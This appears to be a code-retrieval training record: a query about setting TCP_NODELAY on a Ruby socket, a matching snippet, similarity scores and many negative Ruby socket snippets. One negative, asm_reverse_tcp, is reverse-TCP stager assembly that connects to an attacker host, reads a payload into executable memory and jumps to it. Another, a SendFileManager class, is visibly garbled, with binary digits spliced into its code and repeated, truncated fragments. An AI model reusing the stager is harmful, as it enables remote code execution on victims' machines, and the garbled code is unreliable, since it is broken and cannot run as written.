x.class == Document }\n d_list.each(&:save!)\n\n e_list = a_list.find_all { |x| x.class == Embed }\n e_list.each(&:save!)\n rescue Exception => eek\n print(eek)\n status and false\n end\n\n return status\n end",
"def attachments=(attachments)\n attachments.each do |attachment|\n assets.build(attachment)\n end\n end",
"def unpersisted_attachment_fields(method, multiple)\n unpersisted_attachments(method).map.with_index do |attachment, idx|\n hidden_field method,\n mutiple: multiple ? :multiple : false, value: attachment.signed_id,\n name: \"#{object_name}[#{method}]#{'[]' if multiple}\",\n data: {\n direct_upload_id: idx,\n uploaded_file: { name: attachment.filename, size: attachment.byte_size },\n icon_container_id: \"asdndz-#{object_name}_#{method}__icon-container\"\n }\n end\n end",
"def destroy_unsaved_attachments\n @client_side_timestamp = params[:client_side_timestamp]\n @filename = params[:filename]\n @cas_user = session[:cas_user]\n\n RecordAttachment.where(:client_side_timestamp => @client_side_timestamp, \n :filename => @filename, :cas_user_name => @cas_user).destroy_all\n render :nothing => true\n end",
"def update_attachment_references\n changes = attachment_reference_id_changes\n added_ids, removed_ids = changes[1] - changes[0], changes[0] - changes[1]\n\n attachment_references.each do |attachment_reference|\n attachment_reference.mark_for_destruction if removed_ids.include?(attachment_reference.id)\n end\n added_ids.each do |attachment_reference_id|\n attachment_references << AttachmentReference.find(attachment_reference_id)\n end\n end",
"def attachments(params={})\n raise ArgumentError, \"Error: ids or attachment_ids must be set\" unless params[:ids] || params[:attachment_ids]\n rpc_call :attachments, params\n end",
"def get_volume_attachment_hrefs\n attachments = @api_client.volume_attachments.index(filter: [\"instance_href==#{get_instance_href}\"])\n\n # Reject following attachments:\n # - attachments whose device parameter is set to 'unknown'\n # - gce boot disk - shown by resource_uid of /disks/boot-*\n # - aws ebs boot disk - shown by device_id as '/dev/sda1'\n # - cloudstack boot disk - shown by device_id as 'device_id:0'\n attachments.reject! do |attachment|\n attachment.device == 'unknown' ||\n attachment.resource_uid =~ %r{\\/disks\\/boot-} ||\n (node['cloud']['provider'] == 'ec2' && attachment.device_id == '/dev/sda1') ||\n (node['cloud']['provider'] == 'cloudstack' && attachment.device_id == 'device_id:0')\n end\n\n attachments.map(&:href)\n end",
"def prepare_attributes\n if media.present? && will_save_change_to_media?\n self.media_content_type = media.file.content_type\n self.media_file_size = media.file.size\n end\n\n if new_record?\n self.folder = folder.sanitize_filename\n tag_list.add(folder)\n tag_list.add(media.file.extension)\n end\n end",
"def process_file_sorting(owner)\n params.each do |key, value|\n if key[0..14] == \"pos_attachment_\"\n att_id = key[15,10]\n attachment = Attachment.find(att_id)\n if value.to_i < 0\n attachment.destroy\n else\n attachment.position = value\n attachment.save!\n end\n end\n end\n end",
"def prepare_identities_from_files; end",
"def before_destroy\n\t\tsuper\n\t\tchrome_pdf_tasks.each { |t| t.destroy }\n\t\tdiff_stream.each { |c| c.destroy }\n\n\t\t# save photo list, so we can traverse it\n\t\tp = photos.collect { |x| x }\n\t\t# destroys the association\n\t\tremove_all_photos\n\t\t# remove orphan photos\n\t\tp.each do |photo|\n\t\t\t# destroy photos if we are the only book\n\t\t\tsuccess = true\n\t\t\tsuccess = photo.destroy if photo.books.count == 0\n\t\t\tPB.logger.error \"Could not destroy photo #{photo.id}\" unless success\n\t\tend\n\tend",
"def attachments\n @attachments ||= Attachments.new( self )\n end"
] |
[
"0.5711943",
"0.5473956",
"0.5419085",
"0.5418018",
"0.54128456",
"0.5406729",
"0.5288619",
"0.526177",
"0.5248263",
"0.5184201",
"0.51345015",
"0.5119709",
"0.50968635",
"0.50938916",
"0.5088327",
"0.5069423",
"0.50668746",
"0.5064317",
"0.50563747",
"0.50323266",
"0.502208",
"0.5002204",
"0.5001765",
"0.49953446",
"0.49849555",
"0.49842012",
"0.4945917",
"0.4945917",
"0.4945917",
"0.49221668",
"0.49053165",
"0.49042407",
"0.48894686",
"0.48868978",
"0.48706236",
"0.48681268",
"0.4864138",
"0.4833923",
"0.4816531",
"0.48076797",
"0.48016873",
"0.4784809",
"0.477495",
"0.4771731",
"0.4751353",
"0.47483388",
"0.4741892",
"0.4740832",
"0.47325143",
"0.47305366",
"0.47294134",
"0.47263172",
"0.4719707",
"0.47150567",
"0.47108042",
"0.4707318",
"0.47002804",
"0.46902004",
"0.4685587",
"0.46817532",
"0.46800736",
"0.4671088",
"0.46703032",
"0.4668364",
"0.4660628",
"0.46516952",
"0.46484563",
"0.46437293",
"0.46434474",
"0.46382982",
"0.46327654",
"0.46186492",
"0.4615336",
"0.46108505",
"0.45969456",
"0.45909372",
"0.45907837",
"0.458545",
"0.45774436",
"0.45764056",
"0.4565298",
"0.45609373",
"0.45584106",
"0.45582086",
"0.45522383",
"0.45522258",
"0.45449567",
"0.45438474",
"0.45415598",
"0.4538822",
"0.4534652",
"0.45338395",
"0.45290965",
"0.45288053",
"0.45266846",
"0.45178744",
"0.45145848",
"0.451172",
"0.44998497",
"0.44967446"
] |
0.60471237
|
0
|
TCP_NODELAY is set to disable buffering. In the case of Sanford communication, we have all the information we need to send up front and are closing the connection, so it doesn't need to buffer. See
|
def tcp_socket
TCPSocket.new(host, port).tap do |socket|
socket.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, true)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def nodelay\n ensure_state :connected\n @socket.getsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY).int.nonzero?\n end",
"def nodelay=(flag)\n ensure_state :connected\n @socket.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, flag ? 1 : 0)\n end",
"def configure_tcp_server(tcp_server)\n tcp_server.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, true)\n end",
"def nodelay; end",
"def configure_socket_keepalive\n @socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)\n if defined?(Socket::TCP_KEEPINTVL) # Not available on JRuby\n @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_KEEPINTVL, 10)\n @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_KEEPCNT, 5)\n end\n if defined?(Socket::TCP_KEEPIDLE) # Not available on BSD / OSX\n @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_KEEPIDLE, 50)\n end\n end",
"def send str\n\n @send_buffer.push [Time.now.to_i + @send_buffer_delay, str] if @send_buffer_delay > 0\n\n begin\n if @send_buffer_delay > 0\n Protocol.write @client, (@send_buffer.shift)[1], :debug => 5 if Time.now.to_i >= (@send_buffer.first)[0]\n else\n Protocol.write @client, str, :debug => 5\n end\n false\n rescue Exception=>e\n puts \"!D connection terminated: #{e}\" if Config.debug\n true\n end\n end",
"def open(tout=5.5)\n puts \"INFO: start to connecting to server\"\n begin \n Timeout.timeout(tout) do\n @sock = TCPSocket.open(@host, @port)\n end\n rescue Exception => e\n puts \"ERROR: connection to server failed\"\n puts e.message\n puts e.backtrace.inspect\n return\n end\n @connected = true\n=begin\n\nsock = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)\ntimeval = [3, 0].pack(\"l_l_\")\nsock.setsockopt Socket::SOL_SOCKET, Socket::SO_RCVTIMEO, timeval\nsock.connect( Socket.pack_sockaddr_in(1234, '127.0.0.1'))\n=end\n\n end",
"def connect\n disconnect if connected?\n @socket = TCPSocket.new(@host, @port)\n @socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_KEEPALIVE, true)\n read_line # \"BOB 00.00.0D\"\n read_line # \"OK\"\n self\n end",
"def tcp_send(command, body = nil)\n @seq += 1\n header = {\n 'Command' => command.to_s.gsub('_', '-'),\n 'Seq' => seq\n }\n\n buff = MessagePack::Packer.new\n buff.write(header)\n buff.write(body) unless body.nil?\n\n res = socket.write(buff.to_str) unless buff.to_str.empty?\n @requests[seq] = { header: header, ack?: false }\n seq\n end",
"def xmit\n if @lag.zero?\n if @to_server\n $fake_server_port.on_packet_receive(CONNECTION_ID, @data, @channel)\n else\n $fake_client_conn.on_packet(@data, @channel)\n end\n true\n else\n @lag -= 1\n false\n end\n end",
"def connection_completed\n# @keepalive = EM::PeriodicTimer.new(60) { send_data ' ' }\n start\n end",
"def checkout_new_socket\n begin\n socket = TCPSocket.new(@host, @port)\n socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)\n rescue => ex\n raise ConnectionFailure, \"Failed to connect socket: #{ex}\"\n end\n @sockets << socket\n @checked_out << socket\n socket\n end",
"def tcp_send(command, body = nil)\n @seq += 1\n header = {\n 'Command' => command.to_s.gsub('_', '-'),\n 'Seq' => seq\n }\n Log.info(\"#{__method__}|Header: #{header.inspect}\")\n buff = MessagePack::Buffer.new\n buff << header.to_msgpack\n buff << body.to_msgpack unless body.nil?\n res = socket.send(buff.to_str, 0)\n Log.info(\"#{__method__}|Res: #{res.inspect}\")\n @requests[seq] = { header: header, ack?: false }\n seq\n end",
"def connect\n close\n @socket = TCPSocket.new(@host, @port)\n @socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)\n self\n end",
"def syn?\n Capp::TCP_SYN == flags & Capp::TCP_SYN\n end",
"def tcp\n TCP.new(@loop)\n end",
"def flush\n return @transport.flush unless @write\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end",
"def flush\n return @transport.flush unless @write\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end",
"def transmit packets, delay: 0.1\r\n Ionian::Socket.new host: \"#{SOUNDWEB_IP}:#{SOUNDWEB_PORT}\" do |socket|\r\n packets.each do |packet|\r\n socket.write packet.pack(packet.map { 'C' }.join)\r\n socket.flush\r\n sleep delay\r\n end\r\n end\r\nend",
"def sync=(value)\n\t\t\t\tsuper\n\t\t\t\t\n\t\t\t\tcase self.protocol\n\t\t\t\twhen 0, IPPROTO_TCP\n\t\t\t\t\tself.setsockopt(IPPROTO_TCP, TCP_NODELAY, value ? 1 : 0)\n\t\t\t\telse\n\t\t\t\t\tConsole.logger.warn(self) {\"Unsure how to sync=#{value} for #{self.protocol}!\"}\n\t\t\t\tend\n\t\t\trescue Errno::EINVAL\n\t\t\t\t# On Darwin, sometimes occurs when the connection is not yet fully formed. Empirically, TCP_NODELAY is enabled despite this result.\n\t\t\trescue Errno::EOPNOTSUPP\n\t\t\t\t# Some platforms may simply not support the operation.\n\t\t\t\t# Console.logger.warn(self) {\"Unable to set sync=#{value}!\"}\n\t\t\tend",
"def connect(socket_class, host, port, nodelay = T.unsafe(nil)); end",
"def test_server_survives_half_message\n puts \"test_server_survives_half_message\"\n\n expects = []\n 10.times do\n expects << random_string\n pr = push(expects[-1])\n assert_equal(0, pr, \"expected 0, got #{pr}\")\n end\n\n s = random_string(15)\n header = s.length\n client = tcp_socket()\n nbytes = client.send([header].pack(\"C1\"), 0)\n if nbytes != 1\n raise \"push: header write failed\"\n end\n\n client.send(s[0..3], 0)\n client.shutdown\n\n 10.times do\n r = pop\n s = expects.pop\n assert_equal(s, r, \"expected #{s}, got #{r}\")\n end\n end",
"def send_data_with_http_tunnel(data)\n #msg_data = Base64::encode64(data)\n #@socket_srv.print \"GET /office_send_msg?#{msg_data} HTTP/1.1\\r\\n\"\n # Zip deflate avoid to have special character in the encoded argument\n msg_data = Zlib::Deflate.deflate( data, 1 ).unpack('H*').first \n @socket_srv.print \"GET /office_send_msg?#{msg_data} HTTP/1.1\\r\\n\"\n #@socket_srv.print \"GET /office_send_msg HTTP/1.1\\r\\n\"\n @socket_srv.print \"Host: #{@host_server}:#{@port_server}\\r\\n\"\n @socket_srv.print \"X-Cup-Session-Id: #{@id_http_session}\\r\\n\" if @id_http_session\n @socket_srv.print \"User-Agent: Mozilla/5.0\\r\\n\"\n @socket_srv.print \"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\"\n @socket_srv.print \"Keep-Alive: 300\\r\\n\"\n @socket_srv.print \"Connection: keep-alive\\r\\n\"\n @socket_srv.print \"\\r\\n\" #end message\n #http_packet = \n #@socket_srv.write(http_packet)\n end",
"def tcp_timeout\n super\n end",
"def flush\n @socket&.flush\n end",
"def flush\n if !@write\n return @transport.flush\n end\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end",
"def _transmit(used_socket, command, headers = {}, body = '')\n\n # p [ \"wirewrite\" ]\n # _dump_callstack()\n\n if @protocol >= Stomp::SPL_11 && command != Stomp::CMD_CONNECT\n headers = _encodeHeaders(headers)\n end\n @transmit_semaphore.synchronize do\n # Handle nil body\n body = '' if body.nil?\n # The content-length should be expressed in bytes.\n # Ruby 1.8: String#length => # of bytes; Ruby 1.9: String#length => # of characters\n # With Unicode strings, # of bytes != # of characters. So, use String#bytesize when available.\n body_length_bytes = body.respond_to?(:bytesize) ? body.bytesize : body.length\n\n # ActiveMQ interprets every message as a BinaryMessage\n # if content_length header is included.\n # Using :suppress_content_length => true will suppress this behaviour\n # and ActiveMQ will interpret the message as a TextMessage.\n # For more information refer to http://juretta.com/log/2009/05/24/activemq-jms-stomp/\n # Lets send this header in the message, so it can maintain state when using unreceive\n headers[:'content-length'] = \"#{body_length_bytes}\" unless headers[:suppress_content_length]\n headers[:'content-type'] = \"text/plain; charset=UTF-8\" unless headers[:'content-type'] || headers[:suppress_content_type]\n _wire_write(used_socket,command)\n headers.each do |k,v|\n if v.is_a?(Array)\n v.each do |e|\n _wire_write(used_socket,\"#{k}:#{e}\")\n end\n else\n _wire_write(used_socket,\"#{k}:#{v}\")\n end\n end\n _wire_write(used_socket,\"\")\n if body != ''\n if headers[:suppress_content_length]\n if tz = body.index(\"\\00\")\n used_socket.write body[0..tz-1]\n else\n used_socket.write body\n end\n else\n used_socket.write body\n end\n end\n used_socket.write \"\\0\"\n used_socket.flush if autoflush\n\n if @protocol >= Stomp::SPL_11\n @ls = Time.now.to_f if @hbs\n end\n\n end\n end",
"def dsi_send(request)\n socket = TCPSocket.new(URL, test? ? TEST_PORT : LIVE_PORT )\n\n ssl_context = OpenSSL::SSL::SSLContext.new\n ssl_context.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context)\n ssl_socket.sync_close = true\n ssl_socket.connect\n \n ssl_socket.puts(request)\n ssl_socket.flush\n \n response = \"\"\n \n while line = ssl_socket.gets\n response << line unless line.include? \"endofdata\"\n end\n \n ssl_socket.close\n return response\n end",
"def connect\n hostname = 'localhost'\n port = 2000\n s = TCPSocket.open(hostname, port)\n\n s.puts(Time.now.ctime)\n s.puts \"Closing the connection. Bye!\"\n s.close\nend",
"def tcp?\n return (proto == 'tcp')\n end",
"def send_keepalive\n# rt_debug \"* sending keepalive!\"\n queue_message(:keepalive)\n end",
"def prepare_socket_server!\n _log { \"prepare_socket_server! #{port}\" }\n @server = TCPServer.open(port)\n @server.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, false)\n end",
"def close\n flush_buffer!\n @sock.close\n end",
"def tcp?\n @tcp_header\n end",
"def asm_reverse_tcp(opts={})\n # TODO: reliability is coming\n retry_count = opts[:retry_count]\n reliable = opts[:reliable]\n encoded_port = \"%.8x\" % [opts[:port].to_i,2].pack(\"vn\").unpack(\"N\").first\n encoded_host = \"%.8x\" % Rex::Socket.addr_aton(opts[:host]||\"127.127.127.127\").unpack(\"V\").first\n seconds = (opts[:sleep_seconds] || 5.0)\n sleep_seconds = seconds.to_i\n sleep_nanoseconds = (seconds % 1 * 1000000000).to_i\n\n if respond_to?(:generate_intermediate_stage)\n pay_mod = framework.payloads.create(self.refname)\n read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size\n elsif !module_info['Stage']['Payload'].empty?\n read_length = module_info['Stage']['Payload'].size\n else\n read_length = 4096\n end\n\n asm = %Q^\n mmap:\n xor rdi, rdi\n push 0x9\n pop rax\n cdq\n mov dh, 0x10\n mov rsi, rdx\n xor r9, r9\n push 0x22\n pop r10\n mov dl, 0x7\n syscall ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)\n test rax, rax\n js failed\n\n push #{retry_count} ; retry counter\n pop r9\n push rax\n push 0x29\n pop rax\n cdq\n push 0x2\n pop rdi\n push 0x1\n pop rsi\n syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)\n test rax, rax\n js failed\n\n xchg rdi, rax\n\n connect:\n mov rcx, 0x#{encoded_host}#{encoded_port}\n push rcx\n mov rsi, rsp\n push 0x10\n pop rdx\n push 0x2a\n pop rax\n syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)\n pop rcx\n test rax, rax\n jns recv\n\n handle_failure:\n dec r9\n jz failed\n push rdi\n push 0x23\n pop rax\n push 0x#{sleep_nanoseconds.to_s(16)}\n push 0x#{sleep_seconds.to_s(16)}\n mov rdi, rsp\n xor rsi, rsi\n syscall ; sys_nanosleep\n pop rcx\n pop rcx\n pop rdi\n test rax, rax\n jns connect\n\n failed:\n push 0x3c\n pop rax\n push 0x1\n pop rdi\n syscall ; exit(1)\n\n recv:\n pop rsi\n push 0x#{read_length.to_s(16)}\n pop rdx\n syscall ; read(3, \"\", #{read_length})\n test rax, rax\n js failed\n\n jmp rsi ; to stage\n ^\n\n asm\n end",
"def legacy_reconect\n\t\tputs \"Reconectando...\"\n\t\tif @arry_ips.length == 0\n\t\t\t@arry_ips = Connections::SERVER_IP\n\t\telsif @arry_ips.length != Connections::SERVER_IP.length && @ip_integrity != \"m\"\n\t\t\t@arry_ips = Connections::SERVER_IP\n\t\tend\n\t\tre_reconect = false\n\t\t@server.close\n\t\tloop do\n\t\t\t@ip_pos += 1\n\t\t\t@ip_pos = 0 if @ip_pos >= @arry_ips.length\n\t\t\tbegin\n\t\t\t\t@server = TCPSocket.new(@arry_ips[@ip_pos], Connections::SERVER_PORT)\n\t\t\t\tre_reconect = false\n\t\t\trescue Errno::ECONNREFUSED => e\n\t\t\t\tre_reconect = true\n\t\t\t\tsleep(1)\n\t\t\tend\n\t\t\tbreak unless re_reconect \n\t\tend\n\t\tputs \"Reconectado!\"\n\tend",
"def tcp_receiver(output_queue, socket)\n peer_addr = socket.peeraddr\n ip, port = peer_addr[3], peer_addr[1]\n\n @logger.info(\"new connection\", :client => \"#{ip}:#{port}\")\n LogStash::Util::set_thread_name(\"input|syslog|tcp|#{ip}:#{port}}\")\n\n first_read = true\n\n socket.each do |line|\n metric.increment(:messages_received)\n if @proxy_protocol && first_read\n first_read = false\n pp_info = line.split(/\\s/)\n # PROXY proto clientip proxyip clientport proxyport\n if pp_info[0] != \"PROXY\"\n @logger.error(\"invalid proxy protocol header label\", header: line)\n raise IOError\n else\n @logger.debug(\"proxy protocol detected\", header: line)\n ip = pp_info[2]\n port = pp_info[3]\n next\n end\n end\n decode(ip, output_queue, line)\n end\n rescue Errno::ECONNRESET\n # swallow connection reset exceptions to avoid bubling up the tcp_listener & server\n logger.info(\"connection reset\", :client => \"#{ip}:#{port}\")\n rescue Errno::EBADF\n # swallow connection closed exceptions to avoid bubling up the tcp_listener & server\n logger.info(\"connection closed\", :client => \"#{ip}:#{port}\")\n rescue IOError => e\n # swallow connection closed exceptions to avoid bubling up the tcp_listener & server\n raise(e) unless socket.closed? && e.message.to_s.include?(\"closed\")\n logger.info(\"connection error:\", :exception => e.class, :message => e.message)\n ensure\n @tcp_sockets.delete(socket)\n socket.close rescue log_and_squash(:close_tcp_receiver_socket)\n end",
"def send_tcp message\n @sender.send_tcp message, @ip\n end",
"def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if sd\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @h000000000000000000000000000000000000000000010111000110111101eader_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @hea\n def send_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if file.eof?\n package_header = file.eof? ? header(file.size, \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n el000000000000000000000000000000000000000000010111000110111101se\n send_file(file_name, file_size)\n return false\n end \n end\n \n def wait_sd message OOB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name,en(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each000000000000000000000000000000000000000000010111000110111101 do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = package_header + package_data\n send_size += @address? @socket.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message =s = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_positi000000010111000110111101ackages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.send(package_header + package_data, 0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n 000000010111000110111101'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signaze\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @header_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @header_eof_size\n @oob_char = '!'\n @socket = socket\n end\n\n def send000000000000000000000000000000000000000000010111000110111101_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if fi \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfull_name, file_size)\n return false\n end \n end\n \n def wait_signal_int send_size\n Signal.trap(:INT) do\n puts 'Send message O000000000000000000000000000000000000000000010111000110111101OB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name, file_position, numbers_downloaded_packages=[]\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_ file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header000000000000000000000000000000000000000000010111000110111101 = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = packet.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_position, numbers_downloaded_packages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 000000000000000000000000000000000000000000010111000110111101 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = firs_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.sende_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downl000000000000000000000000000000000000000000010111000110111101oaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend",
"def handle(pkt)\n # puts \"Received packet, current state: #{@state}, buffer length: #{@recv_buffer.size}\"\n # puts \"tcp_flags: #{pkt.tcp_flags.inspect}\"\n\n @client_next_seq = pkt.tcp_seq + 1\n @server_ack_seq = pkt.tcp_ack\n\n if pkt.tcp_flags.rst == 1\n @state = CLOSED_STATE\n elsif pkt.tcp_flags.syn == 1\n if @state == SYN_SENT_STATE\n @state = ESTABLISHED_STATE\n send_ack\n end\n elsif pkt.tcp_flags.fin == 1\n if @state == ESTABLISHED_STATE\n @state = LAST_ACK_STATE\n send_ack([:fin])\n elsif @state == FIN_WAIT_1_STATE\n @state = CLOSED_STATE\n send_ack\n end\n elsif pkt.payload.length > 0\n @recv_buffer += pkt.payload\n send_ack\n elsif pkt.tcp_flags.ack == 1\n if @state == LAST_ACK_STATE\n @state = CLOSED_STATE\n end\n end\n\n @state\n end",
"def send_dnsruby(query_bytes, query, client_query_id, client_queue, use_tcp) #:nodoc: all\r\n endtime = Time.now + @packet_timeout\r\n # First send the query (synchronously)\r\n # @TODO@ persisent sockets\r\n st = SelectThread.instance\r\n socket = nil\r\n begin\r\n #@TODO@ Different OSes have different interpretations of \"random port\" here.\r\n #Apparently, Linux will just give you the same port as last time, unless it is still\r\n #open, in which case you get n+1.\r\n #We need to determine an actual (random) number here, then ask the OS for it, and\r\n #continue until we get one.\r\n if (use_tcp) \r\n socket = TCPSocket.new(@server, @port, @src_addr, @src_port)\r\n else\r\n socket = UDPSocket.new()\r\n socket.bind(@src_addr, @src_port)\r\n socket.connect(@server, @port)\r\n end\r\n rescue Exception => e\r\n if (socket!=nil)\r\n socket.close\r\n end\r\n err=IOError.new(\"dnsruby can't connect to #{@server}:#{@port} from #{@src_addr}:#{@src_port}, use_tcp=#{use_tcp}, exception = #{e.class}, #{e}\")\r\n TheLog.error(\"#{err}\")\r\n st.push_exception_to_select(client_query_id, client_queue, err, nil) # @TODO Do we still need this? Can we not just send it from here?\r\n return\r\n end\r\n if (socket==nil)\r\n err=IOError.new(\"dnsruby can't connect to #{@server}:#{@port} from #{@src_addr}:#{@src_port}, use_tcp=#{use_tcp}\")\r\n TheLog.error(\"#{err}\")\r\n st.push_exception_to_select(client_query_id, client_queue, err, nil) # @TODO Do we still need this? Can we not just send it from here?\r\n return\r\n end\r\n TheLog.debug(\"Sending packet to #{@server}:#{@port} from #{@src_addr}:#{@src_port}, use_tcp=#{use_tcp}\")\r\n begin\r\n if (use_tcp)\r\n lenmsg = [query_bytes.length].pack('n')\r\n socket.send(lenmsg, 0)\r\n end\r\n socket.send(query_bytes, 